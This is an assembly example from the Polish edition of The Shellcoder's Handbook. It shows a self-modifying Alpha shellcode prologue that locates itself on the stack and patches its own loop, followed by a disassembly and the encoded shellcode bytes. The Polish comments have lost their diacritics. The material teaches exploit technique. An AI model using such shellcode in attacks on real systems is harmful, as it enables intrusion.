/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 1

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/


#include <alpha/regdef.h>
          .text
          .arch          generic
          .align 4
          .globl  main
          .ent           main
main:
          .frame  $sp, 0, $26

          lda  a0, -1000(sp)             #aduje do a0 adres stosu (sp  1000)
back:
          bis  zero, 0x86, a1            #a1 zawiera 0x00000086 czyli kod rozkazu imb
                                         #rozkaz imb zapewnia synchronizacj bufora rozkazw
                                         #z rozkazami w pamici

                                         #1. przebieg ptli: umieszcza rozkaz imb pod adresem (sp  1000)
          stl  a1, -4(a0)                #2. przebieg ptli: nadpisuje poniszy rozkaz bsr 
                                         #kodem rozkazu imb zapobiegajc nastepnym przebiegom ptli

     bsr  a0, back                       #rozgazienie do etykiety back aduje pc do rejstru a0
                                         #w drugim przebiegu rozkaz bsr zostanie nadpisany
                                         #a sterowanie trafi do nastpnego rozkazu
                                         #odtd zaczyna si waciwy kod powoki

.text:200010D0      main:                                   
.text:200010D0             
.text:200010D0      18 FC 1E 22                 lda     $16, -1000($sp) 

sub_200010D4:

.text:200010D4      11 D4 F0 47                 mov     0x86, $17
.text:200010D8      FC FF 30 B2                stl     $17, -4($16)
.text:200010DC      FD FF 1F D2               bsr     $16, sub_200010D4


"\x18\xfc\x1e\x22"
"\x11\xd4\xf0\x47"
"\xfc\xff\x30\xb2"
"\xfd\xff\x1f\xd2"
